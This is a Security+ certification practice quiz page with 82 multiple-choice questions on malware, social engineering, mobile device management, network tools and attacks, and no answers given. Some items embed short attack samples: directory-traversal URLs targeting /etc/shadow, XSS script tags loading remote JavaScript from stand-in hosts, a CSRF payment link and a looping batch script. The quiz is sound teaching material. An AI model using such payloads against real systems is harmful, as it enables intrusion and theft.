Quiz
Sec+ 2
Create a free account to finish this quiz
Save your progress and see your final score.
Already have an account? Sign in
Questions in this quiz (82)
1Which of the following scenarios would make a DNS sinkhole effective in thwarting an attack?
- AAn attacker is sniffing traffic to port 53, and the server is managed using unencrypted usernames and passwords.
- BAn organization is experiencing excessive traffic on port 53 and suspects an attacker is trying to DoS the domain name server.
- CMalware is trying to resolve an unregistered domain name to determine if it is running in an isolated sandbox.
- DDNS routing tables have been compromised, and an attacker is rerouting traffic to malicious websites.
2A security administrator has created a new group policy object that utilizes the trusted platform module to compute a hash of system files and compare the value to a known-good value. Which of the following security concepts is this an example of?
- AIntegrity measurement
- BSecure baseline
- CSandboxing
- DImmutable systems
3While checking logs, a security engineer notices a number of end users suddenly downloading files with the .tar.gz extension. Closer examination of the files reveals they are PE32 files. The end users state they did not initiate any of the downloads. Further investigation reveals the end users all clicked on an external email containing an infected MHT file with an href link a week prior. Which of the following is MOST likely occurring?
- AA RAT was installed and is transferring additional exploit tools.
- BThe workstations are beaconing to a command-and-control server.
- CA logic bomb was executed and is responsible for the data transfers.
- DA fileless virus is spreading in the local network environment.
4A small business just recovered from a ransomware attack against its file servers by purchasing the
decryption keys from the attackers. The issue was triggered by a phishing email and the IT administrator
wants to ensure it does not happen again. Which of the following should the IT administrator do FIRST after recovery?- AScan the NAS for residual or dormant malware and take new daily backups that are tested on a frequent basis
- BRestrict administrative privileges and patch ail systems and applications.
- CRebuild all workstations and install new antivirus software
- DImplement application whitelisting and perform user application hardening
5When investigating a virus infection, a security analyst discovered the following on an employee laptop:
- Multiple folders containing a large number of newly released movies and music files
- Proprietary company data
- A large amount of PHI data
- Unapproved FTP software
- Documents that appear to belong to a competitor
Which of the following should the analyst do FIRST?- AContact the legal and compliance department for guidance.
- BDeleted the files, remove the FTP software, and notify management.
- CBack up the files and return the device to the user.
- DWipe and reimage the device.
6A security administrator is adding a NAC requirement for all VPN users to ensure the devices connecting are compliant with company policy. Which of the following items provides the HIGHEST assurance to meet this requirement?
- AImplement a permanent agent.
- BInstall antivirus software
- CUse an agentless implementation
- DImplement PKI
7Which of the following BEST describes why an air gap is a useful security control?
- AIt physically isolates two or more networks, therefore helping prevent cross contamination or accidental data spillage.
- BIt requires that files be transferred via USB instead of networks that are potentially vulnerable to hacking, therefore preventing virus infections.
- CIt requires multiple systems administrator with different credentials therefore providing separation of duties.
- DIt provides physical space between two interlocking doors, therefore preventing additional control from unauthorized entry.
8A security consultant is analyzing data from a recent compromise. The following data points are documented:
- Access to data on share drives and certain networked hosts was lost after an employee logged in to an interactive session as a privileged user.
- The data was unreadable by any known commercial software.
- The issue spread through the enterprise via SMB only when certain users accessed data.
- Removal instructions were not available from any major antivirus vendor.
Which of the following types of malware is this an example of?- ARAT
- BRansomware
- CBackdoor
- DKeylogger
- EWorm
9A company has just experienced a malware attack affecting a large number of desktop users. The antivirus solution was not able to block the malware, but the HIDS alerted to C2 calls as ,Troj.Generic'. Once the security team found a solution to remove the malware, they were able to remove the malware files successfully, and the HIDS stopped alerting. The next morning, however, the HIDS once again started alerting on the same desktops, and the security team discovered the files were back. which of the following BEST describes the type of malware infecting this company's network?
- ATrojan
- BSpyware
- CRootkit
- DBotnet
10A company is experiencing an increasing number of systems that are locking up on Windows startup. The security analyst clones a machine, enters into safe mode, and discovers a file in the startup process that runs Wstart.bat.
@echo off
Lasdhbawdhbasdhbawdhb
start notepad.exe
start notepad.exe
start calculator.exe
start calculator.exe
goto asdhbawdhbasdhbawdhb
Given the file contents and the system's ensures, which of the following types of malware is present?- ARootkit
- BLogic bomb
- CWorm
- DVirus
11A nuclear plant was the victim of a recent attack, and all the networks were air gapped. A subsequent investigation revealed a worm as the source of the issue. Which of the following BEST explains what happened?
- AA malicious USB was introduced by an unsuspecting employee.
- BThe ICS firmware was outdated
- CA local machine has a RAT installed.
- DThe HVAC was connected to the maintenance vendor
12Which of the following terms BEST describes an exploitable vulnerability that exists but has not been publicly disclosed yet?
- ADesign weakness
- BZero-day
- CLogic bomb
- DTrojan
13A user receives a security alert pop-up from the host-based IDS, and a few minutes later notices a document on the desktop has disappeared and in its place is an odd filename with no icon image. When clicking on this icon, the receives a system notification that it cannot find the correct program to use to open this file. Which of the following types of malware has MOST likely targeted this workstation?
- ARootkit
- BSpyware
- CRansomware
- DRemote-Access Trojan
14Some call center representatives' workstations were recently updated by a contractor who was able to collect customer information from the call center workstation. Which of the following types of malware was installed on the call center users' systems?
- AAdware
- BLogic bomb
- CTrojan
- DSpyware
15A company has forbidden the use of external media within its headquarters location. A security analyst is working on adding additional respositories to a server in the environment when the analyst notices some odd processes running on the system. The analyst runs a command and sees the following:
$ history
ifconfig -a
netstat -n
pskill 1788
pskill 914
mkdir /tmp/1
Mount -u sda101 /tmp/1
cp /tmp/1
umount /tmp/1
ls -al 1/1/
apt-get update
apt-get upgrade
clear
Given this output, which of the following security issues has been discovered?- AA misconfigured HIDS
- BA malware installation
- CA policy violation
- DThe activation of a Trojan
16Which of the following BEST explains the reason why a server administrator would place a document named password.txt on the desktop of an administrator account on a server?
- AThe document is a honeyfile and is meant to attract the attention of a cyber intruder.
- BThe document is a backup file if the system needs to be recovered.
- CThe document is a standard file that the OS needs to verify the login credentials.
- DThe document is a keylogger that stores all keystrokes should the account be compromised.
17A security analyst is reviewing logs on a server and observes the following output:
01/01/2020 03:33:23 admin attempted login with password sneak
01/01/2020 03:33:32 admin attempted login with password sneaked
01/01/2020 03:33:41 admin attempted login with password sneaker
01/01/2020 03:33:50 admin attempted login with password sneer
01/01/2020 03:33:59 admin attempted login with password sneeze
01/01/2020 03:34:08 admin attempted login with password sneezy
Which of the following is the security analyst observing?- AA rainbow table attack
- BA password-spraying attack
- CA dictionary attack
- DA keylogger attack
18After a ransomware attack a forensics company needs to review a cryptocurrency transaction between the victim and the attacker. Which of the following will the company MOST likely review to trace this transaction?
- AThe public ledger
- BThe NetFlow data
- CA checksum
- DThe event log
19A small business just recovered from a ransomware attack against its file servers by purchasing the
decryption keys from the attackers. The issue was triggered by a phishing email and the IT administrator
wants to ensure it does not happen again. Which of the following should the IT administrator do FIRST after recovery?- AScan the NAS for residual or dormant malware and take new daily backups that are tested on a frequent basis
- BRestrict administrative privileges and patch ail systems and applications.
- CRebuild all workstations and install new antivirus software
- DImplement application whitelisting and perform user application hardening
20An end user reports a computer has been acting slower than normal for a few weeks. During an investigation, an analyst determines the system is sending the user's email address and a ten-digit number to an IP address once a day. The only recent log entry regarding the user's computer is the following:
Time: 06:32:29 UTC
Event Description: The file meets the ML algorithm's medium-confidence threshold.
Process Blocked: False
Operating System: Windows 10
File Name: \Device\HarddiskVolume4\Users\jdoe\AppData\Local\Microsoft\Windows
\NetCache\IE\pdftodocx.msi
Connection Details: 35.242.219.202:80
Which of the following is the MOST likely cause of the issue?- AThe end user purchased and installed a PUP from a web browser
- BA bot on the computer is brute forcing passwords against a website
- CA hacker is attempting to exfiltrate sensitive data
- DRansomware is communicating with a command-and-control server.
21A user recently attended an exposition and received some digital promotional materials. The user later noticed blue boxes popping up and disappearing on the computer, and reported receiving several spam emails, which the user did not open Which of the following is MOST likely the cause of the reported issue?
- AThere was a drive-by download of malware
- BThe user installed a cryptominer
- CThe OS was corrupted
- DThere was malicious code on the USB drive
22A user recent an SMS on a mobile phone that asked for bank details. Which of the following social engineering techniques was used in this case?
- ASPIM
- BVishing
- CSpear phishing
- DSmishing
23A security engineer is reviewing log files after a third discovered usernames and passwords for the organization's accounts. The engineer sees there was a change in the IP address for a vendor website one earlier. This change lasted eight hours. Which of the following attacks was MOST likely used?
- AMan in the middle
- BSpear phishing
- CEvil twin
- DDNS poisoning
24A Chief Security Office's (CSO's) key priorities are to improve preparation, response, and recovery practices to minimize system downtime and enhance organizational resilience to ransomware attacks. Which of the following would BEST meet the CSO's objectives?
- AUse email-filtering software and centralized account management, patch high-risk systems, and restrict administration privileges on file shares.
- BPurchase cyber insurance from a reputable provider to reduce expenses during an incident.
- CInvest in end-user awareness training to change the long-term culture and behavior of staff and executives, reducing the organization's susceptibility to phishing attacks.
- DImplement application whitelisting and centralized event-log management, and perform regular testing and validation of full backups.
25A cybersecurity analyst reviews the log files from a web server and sees a series of files that indicates a directory-traversal attack has occurred. Which of the following is the analyst MOST likely seeing?
Option A: http://sample.url.com/<script>Please -Visit-Our-Phishing-Site</script>
Option B: http://sample.url.com/someotherpage onsite/../../../etc/shadow
Option C: http://sample.url.com/select-from-database-where-password-null
Option D: http://redirect.sample.url.sampleurl.com/malicios-dns-redirect- AA
- BB
- CC
- DD
26Joe, an employee, receives an email stating he won the lottery. The email includes a link that requests a name, mobile phone number, address, and date of birth be provided to confirm Joe's identity before sending him the prize. Which of the following BEST describes this type of email?
- ASpear phishing
- BWhaling
- CPhishing
- DVishing
27A forensics investigator is examining a number of unauthorized payments the were reported on the company's website. Some unusual log entries show users received an email for an unwanted mailing list and clicked on a link to attempt to unsubscribe. One of the users reported the email to the phishing team, and the forwarded email revealed the link to be:
<a=href="https://www.company.com/payto.do?/routing=00001111&account=22223334&amount=250">click here to unsubscribe</a>
Which of the following will the forensics investigator MOST likely determine has occurred?- ASQL Injection
- BCSRF
- CXSS
- DXSRF
28A company's Chief Information Office (CIO) is meeting with the Chief Information Security Officer (CISO) to plan some activities to enhance the skill levels of the company's developers. Which of the following would be MOST suitable for training the developers?
- AA capture-the-flag competition
- BA phishing simulation
- CPhysical security training
- DBasic awareness training
29The Chief Financial Officer (CFO) of an insurance company received an email from Ann, the company's Chief Executive Officer (CEO), requesting a transfer of $10,000 to an account. The email states Ann is on vacation and has lost her purse, containing cash and credit cards. Which of the following social-engineering techniques is the attacker using?
- APhishing
- BWhaling
- CTypo squatting
- DPharming
30Which of the following attacks can be mitigated by proper data retention policies?
- ADumpster diving
- BMan in the browser
- CSpear phishing
- DWatering hole
31Which of the following attacks can be used to exploit a vulnerability that was created by untrained users?
- AA spear phishing email with a file attachment
- BA DoS using IoT devices
- CAn evil twin wireless access point
- DA domain hijacking of a bank website
32An email systems administrator is configuring the mail server to prevent spear phishing attacks through email messages. Which of the following refers to what the administrator is doing?
- ARisk avoidance
- BRisk mitigation
- CRisk transference
- DRisk acceptance
33Which of the following is a team of people dedicated testing the effectiveness of organizational security programs by emulating the techniques of potential attackers?
- ARed team
- BWhite team
- CBlue team
- DPurple team
34An authorized user is conducting a penetration scan of a system for an organization. The tester has a set of network diagrams, source code, version numbers of applications, and other information about the system, including hostnames and network addresses. Which of the following BEST describes this type of penetration test?
- AGray box testing
- BBlack box testing
- CWhite box testing
- DBlue team exercise
- ERed team exercise
35A university with remote campuses, which all use different service providers, loses Internet connectivity across all locations. After a few minutes, Internet and VoIP services are restored, only to go offline again at random intervals, typically within four minutes of services being restored. Outages continue throughout the day, impacting all inbound and outbound connections and services. Services that are limited to the local LAN or WiFi network are not impacted, but all WAN and VoIP services are affected. Later that day, the edge-router manufacturer releases a CVE outlining the ability of an attacker to exploit the SIP protocol handling on devices, leading to resource exhaustion and system reloads. Which of the following BEST describe this type of attack? (Choose two.)
- ADOS
- BSSL stripping
- CMemory leak
- DRace condition
- EShimming
- FRefactoring
36A security researcher is tracking an adversary by noting its attacks and techniques based on its capabilities, infrastructure, and victims. Which of the following is a researcher MOST likely using?
- AThe Diamond Model of Intrusion Analysis
- BThe Cyber Kill Chain
- CThe MITRE CVE Database
- DThe incident response process
37An organization has a growing workforce that is mostly driven by additions to the sales department. Each newly hired salesperson relies on a mobile device to conduct business. The Chief Information Officer (CIO) is wondering if the organization may need to scale down just as quickly as it scaled up. The ClO is also concerned about the organization's security and customer privacy. Which of the following would be BEST to address the ClO's concerns?
- ADisallow new hires from using mobile devices for six months
- BSelect four devices for the sales department to use in a CYOD model
- CImplement BYOD for the sales department while leveraging the MDM
- DDeploy mobile devices using the COPE methodology
38A company provides mobile devices to its users to permit access to email and enterprise applications. The company recently started allowing users to select from several different vendors and device models. When configuring the MDM, which of the following is a key security implication of this heterogeneous device approach?
- AThe most common set of MDM configurations will become the effective set of enterprise mobile security controls.
- BAll devices will need to support SCEP-based enrollment; therefore, the heterogeneity of the chosen architecture may unnecessarily expose private keys to adversaries.
- CCertain devices are inherently less secure than others, so compensatory controls will be needed to address the delta between device vendors.
- DMDMs typically will not support heterogeneous deployment environments, so multiple MDMs will need to be installed and configured.
39A security analyst needs to implement an MDM solution for BYOD users that will allow the company to retain control over company emails residing on the devices and limit data exfiltration that might occur if the devices are lost or stolen. Which of the following would BEST meet these requirements? (Select TWO).
- AFull-device encryption
- BNetwork usage rules
- CGeofencing
- DContainerization
- EApplication whitelisting
- FRemote control
40An engineer wants to access sensitive data from a corporate-owned mobile device. Personal data is not allowed on the device. Which of the following MDM configurations must be considered when the engineer travels for business?
- AScreen lock
- BApplication management
- CGeofencing
- DContainerization
41A security engineer needs to implement an MDM solution that complies with the corporate mobile device
policy. The policy states that in order for mobile users to access corporate resources on their devices the
following requirements must be met:
* Mobile device OSs must be patched up to the latest release
* A screen lock must be enabled (passcode or biometric)
* Corporate data must be removed if the device is reported lost or stolen
Which of the following controls should the security engineer configure? (Select TWO)- AContainerization
- BStorage segmentation
- CPosturing
- DRemote wipe
- EFull-device encryption
- FGeofencing
42A government contracting company issues smartphones to employees to enable access to corporate resources. Several employees will need to travel to a foreign country for business purposes and will require access to their phones. However, the company recently received intelligence that its intellectual property is highly desired by the same country's government. Which of the following MDM configurations would BEST reduce the risk of compromise while on foreign soil?
- ADisable firmware OTA updates
- BDisable location services
- CDisable push notification services
- DDisable wipe
43A security administrator is creating a risk assessment on BYOD. One of the requirements of the risk assessment is to address the following:
- Centrally managing mobile devices
- Data loss prevention
Which of the following recommendations should the administrator include in the assessment? (Select TWO).- AImplement encryption.
- BImplement hashing.
- CImplement an MDM with mobile device hardening.
- DImplement a VPN with secure connection to webmail.
- EImplement and allow cloud storage features on the network.
44A company that processes sensitive information has implemented a BYOD policy and an MDM solution to secure sensitive data that is processed by corporate and personally owned mobile devices. Which of the following should the company implement to prevent sensitive data from being stored on mobile devices?
- AVDI
- BStorage segmentation
- CContainerization
- DUSB OTG
- EGeofencing
45A company just implemented a new telework policy that allows employees to use personal devices for official email and file sharing while working from home. Some of the requirements are:
* Employees must provide an alternate work location (i.e., a home address).
* Employees must install software on the device that will prevent the loss of proprietary data but will not restrict any other software from being installed.
Which of the following BEST describes the MDM options the company is using?- AGeofencing, content management, remote wipe, containerization, and storage segmentation
- BContent management, remote wipe, geolocation, context-aware authentication, and containerization
- CApplication management, remote wipe, geofencing, context-aware authentication, and containerization
- DRemote wipe, geolocation, screen locks, storage segmentation, and full-device encryption
46Users have been issued smart cards that provide physical access to a building. The cards also contain tokens that can be used to access information systems. Users can log in to any thin client located throughout the building and see the same desktop each time. Which of the following technologies are being utilized to provide these capabilities? (Select TWO)
- ACOPE
- BVDI
- CGPS
- DTOTP
- ERFID
- FBYOD
47A security manager for a retailer needs to reduce the scope of a project to comply with PCI DSS. The PCI data is located in different offices than where credit cards are accepted. All the offices are connected via MPLS back to the primary datacenter. Which of the following should the security manager implement to achieve the objective?
- ASegmentation
- BContainment
- CGeofencing
- DIsolation
48The facilities supervisor for a government agency is concerned about unauthorized access to environmental systems in the event the staff WiFi network is breached. Which of the blowing would BEST address this security concern?
- Ainstall a smart meter on the staff WiFi.
- BPlace the environmental systems in the same DHCP scope as the staff WiFi.
- CImplement Zigbee on the staff WiFi access points.
- DSegment the staff WiFi network from the environmental systems network.
49A user loses a COPE device. Which of the following should the user do NEXT to protect the data on the device?
- ACall the company help desk to remotely wipe the device.
- BReport the loss to authorities.
- CCheck with corporate physical security for the device.
- DIdentify files that are potentially missing on the device.
50An organization wishes to allow its users to select devices for business use but does not want to overwhelm the service desk with requests for too many different devices types and models. which of the following deployment models should the organization use to BEST meet these requirements?
- AVDI environment
- BCYOD model
- CDAC model
- DBYOD model
51A company is adopting a BYOD policy and is looking for a comprehensive solution to protect company information on user devices. Which of the following solutions would BEST support the policy?
- AMobile device management
- BFull-device encryption
- CRemote wipe
- DBiometrics
52A company recently transitioned to a strictly BYOD culture due to the cost of replacing lost or damaged
corporate-owned mobile devices. Which of the following technologies would be BEST to balance the BYOD culture while also protecting the company's data?- AContainerization
- BGeofencing
- CFull-disk encryption
- DRemote wipe
53A network administrator needs to restrict the users of the company’s WAPs to the sales department. The network administrator changes and hides the SSID and then discovers several employees had connected their personal devices to the wireless network. Which of the following would limit access to the wireless network to only organization-owned devices in the sales department?
- AImplementing MAC filtering
- BReducing the signal strength to encompass only the sales department
- CReplacing the Aps and sales department wireless cards to support 802.11b
- DIssuing a BYOD policy
54An organization has hired a security analyst to perform a penetration test. The analyst captures 1Gb worth of inbound network traffic to the server and transfer the pcap back to the machine for analysis. Which of the following tools should the analyst use to further review the pcap?
- ANmap
- BcURL
- CNetcat
- DWireshark
55A security analyst needs to complete an assessment. The analyst is logged into a server and must use native tools to map services running on it to the server's listening ports. Which of the following tools can BEST accomplish this talk?
- ANetcat
- BNetstat
- CNmap
- DNessus
56A security analyst is logged into a Windows file server and needs to see who is accessing files and from which computers Which of the following tools should the analyst use?
- ANetstat
- BNet share
- CNetcat
- DNbtstat
- ENet session
57A company has a team of penetration testers. This team has located a file on the company file server that they believe contains cleartext usernames followed by a hash. Which of the following tools should the penetration testers use to learn more about the content of this file?
- AExploritation framework
- BVulnerability scanner
- CNetcat
- DPassword cracker
58A security analyst wants to verify that a client-server (non-web) application is sending encrypted traffic. Which of the following should the analyst use?
- AOpenSSL
- BHping
- CNetcat
- DTCPDump
59A technician has been asked to document which services are running on each of a collection of 200 servers. Which of the following tools BEST meets this need while minimizing the work required?
- ANmap
- BNSLookup
- CNetcat
- DNetstat
60A security administrator suspects there may be unnecessary services running on a server. Which of the following tools will the administrator MOST likely use to confirm the suspicions?
- ANMap
- BWireshark
- CAutopsy
- DDNSEnum
61An organization is concerned that its hosted web servers are not running the most updated version of the software. Which of the following would work BEST to help identify potential vulnerabilities?
- AHping3 -s comptia, org -p 80
- BNc -1 -v comptia, org -p 80
- Cnmap comptia, org -p 80 -aV
- Dnslookup -port=80 comptia.org
62A network engineer needs to create a plan for upgrading the wireless infrastructure in a large office. Priority must be given to areas that are currently experiencing latency and connection issues. Which of the following would be the BEST resource for determining the order of priority?
- ANmap
- BHeat maps
- CNetwork diagrams
- DWireshark
63An administrator is beginning an authorized penetration test of a corporate network. Which of the following tools would BEST assist in identifying potential attacks?
- ANetstat
- BHoneypot
- CCompany directory
- DNmap
64Given the following output:
NMAP –P 80 –script hostmap-bfk.nse company.com
Starting NMAP 6.46
NMAP scan report for company.com (172.255.240.169)
Port State Service
80/TCP open http
Host script results
Hostmap-bfk
Hosts:
172.255.240.169
Web1.company.com
Swebdb1.company.com
Web3.company.com
Swebdb2.company.com
NMAP done: scanned in 2.10 seconds
Which of the following BEST describes the scanned environment?- AA host was identified as a web server that is hosting multiple domains.
- BA host was scanned, and web-based vulnerabilities were found.
- CA connection was established to a domain, and several redirect connections were identified.
- DA web shell was planted in company.com’s content management system.
65Which of the following will MOST likely adversely impact the operations of unpatched traditional programmable-logic controllers, running a back-end LAMP server and OT systems with human-management interfaces that are accessible over the Internet via a web interface? (Choose two.)
- ACross-site scripting
- BData exfiltration
- CPoor system logging
- DWeak encryption
- ESQL injection
- FServer-side request forgery
66During an incident response, a security analyst observes the following log entry on the web server:
GET http://www.companysite.com/product_info.phy?show=../../../../etc/password HTTP/1.1
Host: www.companysite.com
Which of the following BEST describes the type of attack the analyst is experiencing?- ASQL injection
- BCross-site scripting
- CPass-the-hash
- DDirectory traversal
67Which of the following is an example of resource exhaustion?
- AA penetration tester requests every available IP address from a DHCP server.
- BA SQL injection attack returns confidential data back to the browser.
- CServer CPU utilization peaks at 100% during the reboot process.
- DSystem requirements for a new software package recommend having 12GB or RAM, but only 8GB are available
68Which of the following could an attacker use to overwrite instruction pointers in order to execute malicious code?
- AMemory leak
- BSQL injection
- CResource exhaustion
- DBuffer overflow
69An analyst visits an internet forum looking for information about a tool. The analyst finds a threat that appears to contain relevant information. One of the posts says the following:
Hello everyone,
I am having the same problem with my server. Can you help me?
<script type="text/javascript" src=http://src=http://website.com/user.js>
Onload=sqlexec();
</script>
Thanks you,
Joe
Which of the following BEST describes the attack that was attempted against the forum readers?- ASOU attack
- BDLL attack
- CXSS attack
- DAPI attack
70A security engineer is analyzing the following line of JavaScript code that was found in a comment field on a web forum, which was recently involved in a security breach:
<script arc=http:// gotcha.com/hackme.js></script>
Given the line of code above, which of the following BEST represents the attack performed during the breach?- ACSRF
- BDDoS
- CDoS
- DXSS
71A security analyst is reviewing the output of a web server log and notices a particular account is attempting to transfer large amounts of money (see image)
Which of the following types of attack is MOST likely being conducted?- ASQLi
- BCSRF
- CSession replay
- DAPI
72A security analyst is investigation an incident that was first reported as an issue connecting to network shares and the internet, while reviewing logs and tool output, the analyst sees the following:
IP address Physical address
10.0.0.1 00-18-21-ad-24-bc
10.0.0.114 01-31-a3-ad-23-ab
10.0.0.115 00-18-21-ad-24-bc
10.0.0.116 00-19-08-ba-07-da
10.0.0.117 01-12-21-ca-11-ad
Which of the following attacks has occurred?- AIP conflict
- BPass-the-hash
- CMAC flooding
- DDirectory traversal
- EARP poisoning
73A researcher has been analyzing large data sets for the last ten months. The researcher works with colleagues from other institutions and typically connects via SSH to retrieve additional data. Historically, this setup has worked without issue, but the researcher recently started getting the following message (see image)
Which of the following network attacks is the researcher MOST likely experiencing?
- AMAC cloning
- BEvil twin
- CMan in the middle
- DARP Poisoning
74A user contacts the help desk to report the following:
* Two days ago, a pop-up browser window prompted the user for a name and password after connecting to the corporate wireless SSID. This had never happened before, but the user entered the information as requested.
* The user was able to access the Internet but had trouble accessing the department share until the next day.
* The user is now getting notifications from the bank about unauthorized transactions.
Which of the following attack vectors was MOST likely used in this scenario?- ARogue access point
- BEvil twin
- CDNS poisoning
- DARP poisoning
75A user reports constant lag and performance issues with the wireless network when working at a local coffee shop. A security analyst walks the user through an installation of Wireshark and get a five-minute pcap to analyze. The analyst observes the following output:
No. Time Source Destination Protocol Length Info
1234 9.1195665 Sagemcon_87:9fa3 Broadcast 802.11 38 Deauthentication, SN=655, FN=0
1235 9.1265649 Sagemcon_87:9fa3 Broadcast 802.11 39 Deauthentication, SN=655, FN=0
1236 9.2223213 Sagemcon_87:9fa3 Broadcast 802.11 38 Deauthentication, SN=657, FN=0
What type of attack will most likely be attempted next?- ASession replay
- BEvil twin
- CBluejacking
- DARP poisoning
76The network information for a workstation is as follows:
IP address/subnet mask Default gateway DNS server
172.16.17.200/24 172.16.17.254 172.16.17.254
When the workstation’s user attempts to access www.example.com, the URL that actual opens is www.notexample.com. The user successfully connects to several other legitimate URLs. Which of the following have MOST likely occurred? (Select TWO).- AARP poisoning
- BBuffer overflow
- CDNS poisoning
- DDomain hijacking
- EIP spoofing
77A highly complex password policy has made it nearly impossible to crack account password. Which of the following might a hacker still be able to perform?
- APass-the-hash attack
- BARP poisoning attack
- CBirthday attack
- DBrute force attack
78A user recently entered a username and password into a recruiting application website that had been forged to look like the legitimate site. Upon Investigation, a security analyst identifies the following:
* The legitimate website's IP address is 10.1.1.20 and eRecruit.local resolves to this IP.
* The forged website's IP address appears to be 10.2.12.99. based on NetFlow records.
* All three of the organization's DNS servers show the website correctly resolves to the legitimate IP.
* DNS query logs show one of the three DNS servers returned a result of 10.2.12.99 (cached) at the approximate time of the suspected compromise.
Which of the following MOST likely occurred?- AA reverse proxy was used to redirect network traffic.
- BAn SSL strip MITM attack was performed.
- CAn attacker temporarily poisoned a name server.
- DAn ARP poisoning attack was successfully executed.
79A network engineer notices the VPN concentrator overloaded and crashes on days when there are a lot of remote workers. Senior management has placed greater importance on the availability of VPN resources for the remote workers than the security of the end users' traffic. Which of the following would be BEST to solve this issue?
- AIPSec
- BAlways on
- CSplit tunneling
- DL2TP
80A systems administrator needs to configure an SSL remote access VPN according to the following organizational guidelines:
- The VPN must support encryption of header and payload.
- The VPN must route all traffic through the company’s gateway.
Which of the following should be configured on the VPN concentrator?- AFull tunnel
- BTransport mode
- CTunnel mode
- DIPSec
81A security administrator is creating a risk assessment with regard to how to harden internal communications in transit between servers. Which of the following should the administrator recommend in the report?
- AConfigure IPSec in transport mode.
- BConfigure server-based PKI certificates
- CConfigure the GRE tunnel.
- DConfigure a site-to-site tunnel
82A security administrator is implementing a secure method that allows developers to place files or objects onto a Linux server. Developers are required to log in using a username, password, and asymmetric key. Which of the following protocols should be implemented?
- ASSL/TLS
- BSFTP
- CSRTP
- DIPSec
Information
- Description
- Security+ Computer Studies Quiz on Sec+ 2, created by Andrew C on 06/05/2021.
- Author
- Andrew C
- Language
- English
- Views
- 0
- Tags
- Rating
- No ratings yet Rate this quiz